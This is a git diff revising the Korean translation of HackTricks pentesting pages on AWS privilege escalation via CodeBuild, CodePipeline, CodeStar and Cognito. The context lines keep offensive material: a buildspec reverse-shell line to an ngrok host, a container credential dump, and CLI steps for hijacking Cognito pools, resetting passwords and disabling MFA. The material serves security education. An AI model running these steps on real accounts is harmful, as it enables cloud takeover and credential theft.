`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 포함되어 있으며, 이는 자격 증명에 접근하기 위한 **URL 경로**를 포함하고 있습니다. 이는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같은 형식일 것입니다. +> 이 파일에는 **환경 변수 `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 포함되어 있으며, 이는 자격 증명에 접근하기 위한 **URL 경로**를 포함하고 있습니다. 이 경로는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같은 형식일 것입니다. > 이를 URL **`http://169.254.170.2/`**에 추가하면 역할 자격 증명을 덤프할 수 있습니다. @@ -150,7 +150,7 @@ aws codebuild start-build --project-name reverse-shell-project ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -이전 섹션과 마찬가지로, 빌드 프로젝트를 생성하는 대신 수정할 수 있다면, IAM 역할을 지정하고 토큰을 훔칠 수 있습니다. +이전 섹션과 마찬가지로, 빌드 프로젝트를 생성하는 대신 수정할 수 있다면, IAM 역할을 지정하고 토큰을 탈취할 수 있습니다. ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -268,9 +268,9 @@ aws codebuild start-build-batch --project-name codebuild-demo-project ### SSM -**SSM 세션을 시작할 수 있는 충분한 권한이 있는 경우** 빌드 중인 **Codebuild 프로젝트** 내부에 접근할 수 있습니다. +**SSM 세션을 시작할 수 있는 충분한 권한이 있는 경우** 빌드 중인 **Codebuild 프로젝트 내부에 들어갈 수 있습니다.** -코드빌드 프로젝트는 중단점이 필요합니다: +Codebuild 프로젝트는 중단점이 필요합니다:
phases:
 pre_build:
@@ -285,13 +285,13 @@ commands:
 aws codebuild batch-get-builds --ids  --region  --output json
 aws ssm start-session --target  --region 
 ```
-더 많은 정보는 [**문서 확인**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)을 참조하세요.
+더 많은 정보는 [**문서를 확인하세요**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있는 공격자는 공격자가 쓰기 권한이 있는 S3 버킷에 `buildspec.yml` 파일을 저장하는 경우, CodeBuild 프로세스에서 명령 실행을 얻을 수 있습니다.
+특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있는 공격자는 공격자가 쓰기 권한이 있는 S3 버킷에 `buildspec.yml` 파일을 저장하고 있는 경우, CodeBuild 프로세스에서 명령 실행을 얻을 수 있습니다.
 
-참고: 권한 상승은 CodeBuild 작업자가 공격자의 역할과 다른 역할(더 높은 권한이 있기를 희망함)을 가질 때만 관련이 있습니다.
+참고: 상승 권한은 CodeBuild 작업자가 공격자의 역할과 다르고, 더 높은 권한이 있기를 바라는 경우에만 관련이 있습니다.
 ```bash
 aws s3 cp s3:///buildspec.yml ./
 
@@ -317,13 +317,13 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**Impact:** AWS CodeBuild 작업자가 사용하는 역할로 직접적인 권한 상승이 발생하며, 이 역할은 일반적으로 높은 권한을 가집니다.
+**영향:** 일반적으로 높은 권한을 가진 AWS CodeBuild 작업자가 사용하는 역할로의 직접적인 권한 상승.
 
 > [!WARNING]
-> buildspec이 zip 형식으로 예상될 수 있으므로, 공격자는 다운로드하여 압축을 풀고, 루트 디렉토리에서 `buildspec.yml`을 수정한 후 다시 압축하고 업로드해야 합니다.
+> buildspec이 zip 형식으로 예상될 수 있으므로, 공격자는 루트 디렉토리에서 `buildspec.yml`을 다운로드, 압축 해제, 수정한 후 다시 압축하고 업로드해야 합니다.
 
 자세한 내용은 [여기](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/)에서 확인할 수 있습니다.
 
-**Potential Impact:** 연결된 AWS Codebuild 역할로의 직접적인 권한 상승.
+**잠재적 영향:** 연결된 AWS Codebuild 역할로의 직접적인 권한 상승.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
index 83790d424..8a05e3ecf 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -16,9 +16,9 @@ codepipeline에 대한 자세한 정보는 다음을 확인하세요:
 
 이전 권한 외에도 **코드가 저장된 위치에 대한 접근 권한**이 필요합니다 (S3, ECR, github, bitbucket...)
 
-웹 페이지에서 이 과정을 테스트했으며, 이전에 언급한 권한은 코드파이프라인을 생성하는 데 필요한 List/Get 권한이 아니지만, 웹에서 생성하려면 다음도 필요합니다: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<여러>`
+웹 페이지에서 이 과정을 테스트했으며, 이전에 언급된 권한은 코드 파이프라인을 생성하는 데 필요한 List/Get 권한이 아니지만, 웹에서 생성하려면 다음도 필요합니다: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
 
-**빌드 프로젝트 생성** 중에 **실행할 명령**(rev shell?)을 지정하고 **특권 사용자**로 빌드 단계를 실행할 수 있습니다. 이는 공격자가 탈취하는 데 필요한 구성입니다:
+**빌드 프로젝트를 생성하는 동안** **실행할 명령**(rev shell?)을 지정하고 빌드 단계를 **특권 사용자**로 실행하도록 설정할 수 있습니다. 이는 공격자가 권한을 탈취하는 데 필요한 구성입니다:
 
 ![](<../../../images/image (276).png>)
 
@@ -26,11 +26,11 @@ codepipeline에 대한 자세한 정보는 다음을 확인하세요:
 
 ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
 
-이전 권한으로 코드파이프라인에서 사용되는 역할과 실행되는 명령을 수정할 수 있을 가능성이 있습니다.
+이전 권한으로 코드 파이프라인에서 사용되는 역할과 실행된 명령을 수정할 수 있을지도 모릅니다.
 
 ### `codepipeline:pollforjobs`
 
-[AWS는 다음과 같이 언급합니다](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
+[AWS는 언급합니다](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
 
 > 이 API가 호출되면, CodePipeline은 **파이프라인의 아티팩트를 저장하는 S3 버킷에 대한 임시 자격 증명**을 반환합니다. 이 작업이 입력 또는 출력 아티팩트에 대한 S3 버킷 접근을 요구하는 경우입니다. 이 API는 또한 **작업에 대해 정의된 모든 비밀 값**을 반환합니다.
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index faf39b381..2782d7898 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -20,7 +20,7 @@ iam-passrole-codestar-createproject.md
 
 ### `codestar:CreateProject`, `codestar:AssociateTeamMember`
 
-이 기술은 `codestar:CreateProject`를 사용하여 codestar 프로젝트를 생성하고, `codestar:AssociateTeamMember`를 사용하여 IAM 사용자를 새로운 CodeStar **프로젝트**의 **소유자**로 만들며, 이를 통해 **몇 가지 추가 권한이 포함된 새로운 정책**을 부여합니다.
+이 기술은 `codestar:CreateProject`를 사용하여 codestar 프로젝트를 생성하고, `codestar:AssociateTeamMember`를 사용하여 IAM 사용자를 새로운 CodeStar **프로젝트**의 **소유자**로 만듭니다. 이로 인해 **몇 가지 추가 권한이 포함된 새로운 정책**이 부여됩니다.
 ```bash
 PROJECT_NAME="supercodestar"
 
@@ -39,9 +39,9 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
 --project-role "Owner" \
 --remote-access-allowed
 ```
-If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember`
+프로젝트의 **회원**인 경우, **`codestar:UpdateTeamMember`** 권한을 사용하여 역할을 `codestar:AssociateTeamMember` 대신 소유자로 **업데이트**할 수 있습니다.
 
-**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in:
+**잠재적 영향:** 생성된 codestar 정책에 대한 권한 상승. 해당 정책의 예시는 다음에서 확인할 수 있습니다:
 
 {{#ref}}
 codestar-createproject-codestar-associateteammember.md
@@ -51,8 +51,8 @@ codestar-createproject-codestar-associateteammember.md
 
 1. **새 프로젝트 생성:**
 - **`codestar:CreateProjectFromTemplate`** 작업을 사용하여 새 프로젝트 생성을 시작합니다.
-- 성공적으로 생성되면 **`cloudformation:UpdateStack`**에 대한 접근 권한이 자동으로 부여됩니다.
-- 이 접근 권한은 `CodeStarWorker--CloudFormation` IAM 역할과 관련된 스택을 대상으로 합니다.
+- 성공적으로 생성되면 **`cloudformation:UpdateStack`**에 대한 접근이 자동으로 부여됩니다.
+- 이 접근은 `CodeStarWorker--CloudFormation` IAM 역할과 연결된 스택을 특정적으로 대상으로 합니다.
 2. **대상 스택 업데이트:**
 - 부여된 CloudFormation 권한으로 지정된 스택을 업데이트합니다.
 - 스택의 이름은 일반적으로 두 가지 패턴 중 하나에 따릅니다:
@@ -63,9 +63,9 @@ codestar-createproject-codestar-associateteammember.md
 - 업데이트 후, 스택과 연결된 **CloudFormation IAM 역할**에 할당된 기능을 얻습니다.
 - 참고: 이는 본질적으로 전체 관리자 권한을 제공하지 않습니다. 권한을 추가로 상승시키기 위해 환경 내에서 잘못 구성된 리소스가 필요할 수 있습니다.
 
-For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
-You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
+자세한 정보는 원본 연구를 확인하세요: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
+익스플로잇은 [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)에서 확인할 수 있습니다.
 
-**Potential Impact:** Privesc to cloudformation IAM role.
+**잠재적 영향:** cloudformation IAM 역할에 대한 권한 상승.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
index 114bf2a2a..1ecc3dae1 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-사용자가 권한 상승할 수 있는 생성된 정책입니다 (프로젝트 이름은 `supercodestar`):
+사용자가 권한 상승할 수 있는 생성된 정책입니다 (프로젝트 이름은 `supercodestar`입니다):
 ```json
 {
 "Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index efa43713d..24118f637 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -34,7 +34,7 @@
 
 **두 파일이 모두 피해자 계정에서 접근 가능해야 한다는 점을 기억하세요**.
 
-두 가지를 모두 업로드한 후, **codestar** 프로젝트를 생성하여 **악용**을 진행할 수 있습니다:
+두 가지를 업로드한 후, **codestar** 프로젝트를 생성하여 **악용**을 진행할 수 있습니다:
 ```bash
 PROJECT_NAME="supercodestar"
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index bae2646a8..fd966710f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -12,15 +12,15 @@ Cognito에 대한 자세한 정보는 다음을 확인하세요:
 
 ### Identity Pool에서 자격 증명 수집
 
-Cognito는 **인증된** 및 **인증되지 않은** **사용자** 모두에게 **IAM 역할 자격 증명**을 부여할 수 있으므로, 애플리케이션의 **Identity Pool ID**를 찾으면 (애플리케이션에 하드코딩되어 있어야 함) 새로운 자격 증명을 얻을 수 있으며, 따라서 권한 상승이 가능합니다 (이전에 자격 증명이 없었던 AWS 계정 내에서).
+Cognito는 **인증된** 및 **비인증된** **사용자** 모두에게 **IAM 역할 자격 증명**을 부여할 수 있으므로, 애플리케이션의 **Identity Pool ID**를 찾으면 (애플리케이션에 하드코딩되어 있어야 함) 새로운 자격 증명을 얻을 수 있으며, 따라서 privesc를 수행할 수 있습니다 (이전에 자격 증명이 없었던 AWS 계정 내에서).
 
 자세한 내용은 [**이 페이지를 확인하세요**](../aws-unauthenticated-enum-access/#cognito).
 
-**잠재적 영향:** 인증되지 않은 사용자에게 연결된 서비스 역할로의 직접적인 권한 상승 (그리고 아마도 인증된 사용자에게 연결된 역할로).
+**잠재적 영향:** 비인증 사용자에게 연결된 서비스 역할로의 직접적인 privesc (아마도 인증 사용자에게 연결된 역할로도).
 
 ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
 
-이 권한을 사용하면 Cognito 앱의 인증된/인증되지 않은 사용자에게 **모든 Cognito 역할**을 부여할 수 있습니다.
+이 권한을 사용하면 Cognito 앱의 인증된/비인증된 사용자에게 **모든 Cognito 역할**을 부여할 수 있습니다.
 ```bash
 aws cognito-identity set-identity-pool-roles \
 --identity-pool-id  \
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
 ## Get creds for that id
 aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
 ```
-If the cognito app **unauthenticated users가 활성화되어 있지 않다면** `cognito-identity:UpdateIdentityPool` 권한도 필요할 수 있습니다.
+Cognito 앱이 **비인증 사용자 사용이 활성화되어 있지 않다면** `cognito-identity:UpdateIdentityPool` 권한이 필요할 수 있습니다.
 
-**Potential Impact:** 모든 cognito 역할에 대한 직접적인 권한 상승.
+**잠재적 영향:** 모든 Cognito 역할에 대한 직접적인 권한 상승.
 
 ### `cognito-identity:update-identity-pool`
 
-이 권한을 가진 공격자는 예를 들어 자신의 제어 하에 있는 Cognito 사용자 풀 또는 로그인할 수 있는 다른 신원 제공자를 설정할 수 있습니다. 이렇게 하면 **이 Cognito Identity Pool에 접근하는 방법**이 됩니다. 그런 다음, 해당 사용자 제공자에서 **로그인**하면 **Identity Pool에서 구성된 인증된 역할에 접근할 수 있습니다.**
+이 권한을 가진 공격자는 예를 들어 자신의 제어 하에 있는 Cognito 사용자 풀 또는 로그인할 수 있는 다른 신원 제공자를 설정할 수 있습니다. 그런 다음, 해당 사용자 제공자에서 **로그인**하면 **Identity Pool에 구성된 인증된 역할에 접근할 수 있게 됩니다.**
 ```bash
 # This example is using a Cognito User Pool as identity provider
 ## but you could use any other identity provider
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
 --identity-id  \
 --logins cognito-idp..amazonaws.com/=
 ```
-이 권한을 **악용하여 기본 인증을 허용하는 것도 가능합니다**:
+이 권한을 **악용하여 기본 인증을 허용하는** 것도 가능합니다:
 ```bash
 aws cognito-identity update-identity-pool \
 --identity-pool-id  \
@@ -69,11 +69,11 @@ aws cognito-identity update-identity-pool \
 --allow-unauthenticated-identities
 --allow-classic-flow
 ```
-**잠재적 영향**: 아이덴티티 풀 내에서 구성된 인증된 IAM 역할을 손상시킵니다.
+**잠재적 영향**: 아이덴티티 풀 내에서 구성된 인증된 IAM 역할이 손상됩니다.
 
 ### `cognito-idp:AdminAddUserToGroup`
 
-이 권한은 **Cognito 사용자를 Cognito 그룹에 추가**할 수 있도록 허용하므로, 공격자는 이 권한을 악용하여 자신의 통제 하에 있는 사용자를 **더 나은** 권한이나 **다른 IAM 역할**이 있는 다른 그룹에 추가할 수 있습니다.
+이 권한은 **Cognito 사용자를 Cognito 그룹에 추가**할 수 있도록 허용합니다. 따라서 공격자는 이 권한을 악용하여 자신의 통제 하에 있는 사용자를 **더 나은** 권한이나 **다른 IAM 역할**이 있는 다른 그룹에 추가할 수 있습니다.
 ```bash
 aws cognito-idp admin-add-user-to-group \
 --user-pool-id  \
@@ -84,7 +84,7 @@ aws cognito-idp admin-add-user-to-group \
 
 ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
 
-이 권한을 가진 공격자는 **손상된 Cognito ID 공급자**에서 사용할 수 있는 **모든 IAM 역할**로 **그룹을 생성/업데이트**하고 손상된 사용자를 그룹의 일원으로 만들어 모든 역할에 접근할 수 있습니다:
+이 권한을 가진 공격자는 **손상된 Cognito Identity Provider**에서 사용할 수 있는 **모든 IAM 역할**로 **그룹을 생성/업데이트**하고 손상된 사용자를 그룹의 일원으로 만들어 모든 역할에 접근할 수 있습니다:
 ```bash
 aws cognito-idp create-group --group-name Hacked --user-pool-id  --role-arn 
 ```
@@ -98,7 +98,7 @@ aws cognito-idp admin-confirm-sign-up \
 --user-pool-id  \
 --username 
 ```
-**잠재적 영향:** 새로운 사용자를 등록할 수 있는 경우 인증된 사용자에 대한 ID 풀 IAM 역할로의 간접적인 권한 상승. 모든 계정을 확인할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승.
+**잠재적 영향:** 새로운 사용자를 등록할 수 있는 경우 인증된 사용자를 위한 ID 풀 IAM 역할에 대한 간접적인 권한 상승. 모든 계정을 확인할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승.
 
 ### `cognito-idp:AdminCreateUser`
 
@@ -111,7 +111,7 @@ aws cognito-idp admin-create-user \
 [--validation-data ]
 [--temporary-password ]
 ```
-**잠재적 영향:** 인증된 사용자를 위한 ID 풀 IAM 역할로의 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능으로의 간접적인 권한 상승.
+**잠재적 영향:** 인증된 사용자를 위한 ID 풀 IAM 역할에 대한 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승.
 
 ### `cognito-idp:AdminEnableUser`
 
@@ -121,15 +121,15 @@ aws cognito-idp admin-enable-user \
 --user-pool-id  \
 --username 
 ```
-**잠재적 영향:** 공격자가 비활성 사용자에 대한 자격 증명을 가지고 있다면 인증된 사용자에 대한 ID 풀 IAM 역할 및 사용자 권한으로 간접적인 권한 상승이 발생할 수 있습니다.
+**잠재적 영향:** 공격자가 비활성 사용자에 대한 자격 증명을 가지고 있다면 인증된 사용자의 ID 풀 IAM 역할 및 사용자 권한에 대한 간접적인 권한 상승이 발생할 수 있습니다.
 
 ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
 
-이 권한은 [**ADMIN_USER_PASSWORD_AUTH 방법으로 로그인할 수 있게 해줍니다**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** 자세한 내용은 링크를 참조하세요.
+이 권한은 [**ADMIN_USER_PASSWORD_AUTH 방법으로 로그인하는 것을 허용합니다**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** 더 많은 정보는 링크를 따라가세요.
 
 ### `cognito-idp:AdminSetUserPassword`
 
-이 권한은 공격자가 **모든 사용자의 비밀번호를 변경할 수 있게 해주며**, 이를 통해 MFA가 활성화되지 않은 사용자를 가장할 수 있게 됩니다.
+이 권한은 공격자가 **모든 사용자의 비밀번호를 변경할 수 있게 하여**, MFA가 활성화되지 않은 사용자를 가장할 수 있게 합니다.
 ```bash
 aws cognito-idp admin-set-user-password \
 --user-pool-id  \
@@ -137,7 +137,7 @@ aws cognito-idp admin-set-user-password \
 --password  \
 --permanent
 ```
-**잠재적 영향:** 모든 사용자에 대한 직접적인 권한 상승이 가능하므로 각 사용자가 속한 모든 그룹에 대한 접근과 Identity Pool 인증된 IAM 역할에 대한 접근이 가능합니다.
+**잠재적 영향:** 직접적인 권한 상승으로 인해 잠재적으로 모든 사용자에게 접근할 수 있으며, 각 사용자가 속한 모든 그룹에 대한 접근과 Identity Pool 인증된 IAM 역할에 대한 접근이 가능합니다.
 
 ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
 
@@ -148,7 +148,7 @@ aws cognito-idp admin-set-user-settings \
 --username  \
 --mfa-options 
 ```
-**SetUserMFAPreference:** 이전과 유사하게 이 권한은 사용자의 MFA 기본 설정을 설정하여 MFA 보호를 우회하는 데 사용할 수 있습니다.
+**SetUserMFAPreference:** 이전과 유사하게 이 권한은 사용자의 MFA 설정을 변경하여 MFA 보호를 우회하는 데 사용할 수 있습니다.
 ```bash
 aws cognito-idp admin-set-user-mfa-preference \
 [--sms-mfa-settings ] \
@@ -164,13 +164,13 @@ aws cognito-idp set-user-pool-mfa-config \
 [--software-token-mfa-configuration ] \
 [--mfa-configuration ]
 ```
-**UpdateUserPool:** MFA 정책을 변경하기 위해 사용자 풀을 업데이트하는 것도 가능합니다. [여기에서 cli 확인](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+**UpdateUserPool:** 사용자 풀을 업데이트하여 MFA 정책을 변경하는 것도 가능합니다. [여기에서 cli 확인](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
 
-**Potential Impact:** 공격자가 자격 증명을 알고 있는 모든 사용자에게 간접적인 권한 상승이 가능하며, 이는 MFA 보호를 우회할 수 있게 합니다.
+**Potential Impact:** 공격자가 자격 증명을 알고 있는 모든 사용자에게 간접적인 권한 상승이 가능하며, 이는 MFA 보호를 우회할 수 있게 할 수 있습니다.
 
 ### `cognito-idp:AdminUpdateUserAttributes`
 
-이 권한을 가진 공격자는 자신의 통제 하에 있는 사용자의 이메일, 전화번호 또는 기타 속성을 변경하여 기본 애플리케이션에서 더 많은 권한을 얻으려고 시도할 수 있습니다.\
+이 권한을 가진 공격자는 자신의 제어 하에 있는 사용자의 이메일, 전화번호 또는 기타 속성을 변경하여 기본 애플리케이션에서 더 많은 권한을 얻으려고 시도할 수 있습니다.\
 이를 통해 이메일 또는 전화번호를 변경하고 이를 확인된 것으로 설정할 수 있습니다.
 ```bash
 aws cognito-idp admin-update-user-attributes \
@@ -182,7 +182,7 @@ aws cognito-idp admin-update-user-attributes \
 
 ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
 
-이 권한을 가진 공격자는 **기존 풀 클라이언트보다 덜 제한된 새로운 사용자 풀 클라이언트를 생성할 수 있습니다**. 예를 들어, 새로운 클라이언트는 인증을 위한 모든 종류의 방법을 허용하고, 비밀이 없으며, 토큰 폐기를 비활성화하고, 토큰이 더 긴 기간 동안 유효하도록 허용할 수 있습니다...
+이 권한을 가진 공격자는 **기존 풀 클라이언트보다 덜 제한된 새로운 사용자 풀 클라이언트를 생성**할 수 있습니다. 예를 들어, 새로운 클라이언트는 인증하는 데 어떤 방법이든 허용하고, 비밀이 없으며, 토큰 철회가 비활성화되고, 토큰이 더 긴 기간 동안 유효하도록 허용할 수 있습니다...
 
 새로운 클라이언트를 생성하는 대신 **기존 클라이언트를 수정**하는 경우에도 동일한 작업을 수행할 수 있습니다.
 
@@ -193,7 +193,7 @@ aws cognito-idp create-user-pool-client \
 --client-name  \
 [...]
 ```
-**Potential Impact:** 잠재적인 간접적인 권한 상승은 사용자 풀에 의해 사용되는 Identity Pool의 권한 있는 사용자에게 영향을 미치며, 보안 조치를 완화하는 새로운 클라이언트를 생성하여 공격자가 자신이 생성할 수 있는 사용자로 로그인할 수 있게 합니다.
+**잠재적 영향:** User Pool에 의해 사용되는 Identity Pool의 권한 있는 사용자에 대한 잠재적인 간접적인 권한 상승으로, 보안 조치를 완화하는 새로운 클라이언트를 생성하여 공격자가 자신이 생성할 수 있는 사용자로 로그인할 수 있게 합니다.
 
 ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
 
@@ -216,11 +216,11 @@ curl -v -T "PATH_TO_CSV_FILE" \
 ```
 (새로운 가져오기 작업을 생성하는 경우 iam passrole 권한이 필요할 수 있으며, 아직 테스트하지 않았습니다).
 
-**잠재적 영향:** 인증된 사용자에 대한 ID 풀 IAM 역할로의 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승.
+**잠재적 영향:** 인증된 사용자를 위한 아이덴티티 풀 IAM 역할로의 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능으로의 간접적인 권한 상승.
 
 ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
 
-공격자는 새로운 ID 공급자를 생성하여 **이 공급자를 통해 로그인**할 수 있습니다.
+공격자는 새로운 아이덴티티 공급자를 생성하여 **이 공급자를 통해 로그인**할 수 있습니다.
 ```bash
 aws cognito-idp create-identity-provider \
 --user-pool-id  \
@@ -230,20 +230,20 @@ aws cognito-idp create-identity-provider \
 [--attribute-mapping ] \
 [--idp-identifiers ]
 ```
-**잠재적 영향:** 인증된 사용자를 위한 ID 풀 IAM 역할로의 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 간접적인 권한 상승.
+**잠재적 영향:** 인증된 사용자를 위한 ID 풀 IAM 역할에 대한 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승.
 
 ### cognito-sync:\* 분석
 
-이는 Cognito Identity Pools의 역할에서 기본적으로 매우 일반적인 권한입니다. 권한에 와일드카드가 있는 것은 항상 좋지 않게 보이지만 (특히 AWS에서 오는 경우), **주어진 권한은 공격자의 관점에서 그리 유용하지 않습니다**.
+이는 Cognito Identity Pools의 역할에서 기본적으로 매우 일반적인 권한입니다. 권한에 와일드카드가 있는 것은 항상 나쁘게 보이지만 (특히 AWS에서 오는 경우), **주어진 권한은 공격자의 관점에서 그리 유용하지 않습니다**.
 
 이 권한은 Identity Pools의 사용자 정보와 Identity Pools 내의 Identity ID를 읽을 수 있게 해줍니다 (이는 민감한 정보가 아닙니다).\
 Identity ID는 세션의 정보인 [**데이터 세트**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html)가 할당될 수 있으며, AWS는 이를 **저장된 게임**으로 정의합니다. 이 데이터 세트에 어떤 종류의 민감한 정보가 포함될 가능성이 있지만 (확률은 매우 낮습니다), 이 정보를 접근하는 방법은 [**열거 페이지**](../aws-services/aws-cognito-enum/)에서 확인할 수 있습니다.
 
-공격자는 이러한 권한을 사용하여 **이 데이터 세트에서 변경 사항을 게시하는 Cognito 스트림에 자신을 등록**하거나 **Cognito 이벤트에서 트리거되는 람다**를 사용할 수 있습니다. 나는 이것이 사용되는 것을 본 적이 없으며, 여기서 민감한 정보가 있을 것이라고 기대하지 않지만, 불가능하지는 않습니다.
+공격자는 이러한 권한을 사용하여 **이 데이터 세트에서 변경 사항을 게시하는 Cognito 스트림에 자신을 등록**하거나 **Cognito 이벤트에서 트리거되는 Lambda**를 사용할 수 있습니다. 나는 이것이 사용되는 것을 본 적이 없으며, 여기서 민감한 정보가 있을 것이라고 기대하지 않지만, 불가능한 것은 아닙니다.
 
 ### 자동 도구
 
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS 악용 프레임워크는 이제 계정의 모든 Cognito 자산을 열거하고 약한 구성, 접근 제어에 사용되는 사용자 속성 등을 플래그하고, 사용자 생성(여기에는 MFA 지원 포함) 및 수정 가능한 사용자 정의 속성, 사용 가능한 ID 풀 자격 증명, ID 토큰에서 가정 가능한 역할에 기반한 권한 상승을 자동화하는 "cognito\_\_enum" 및 "cognito\_\_attack" 모듈을 포함합니다.
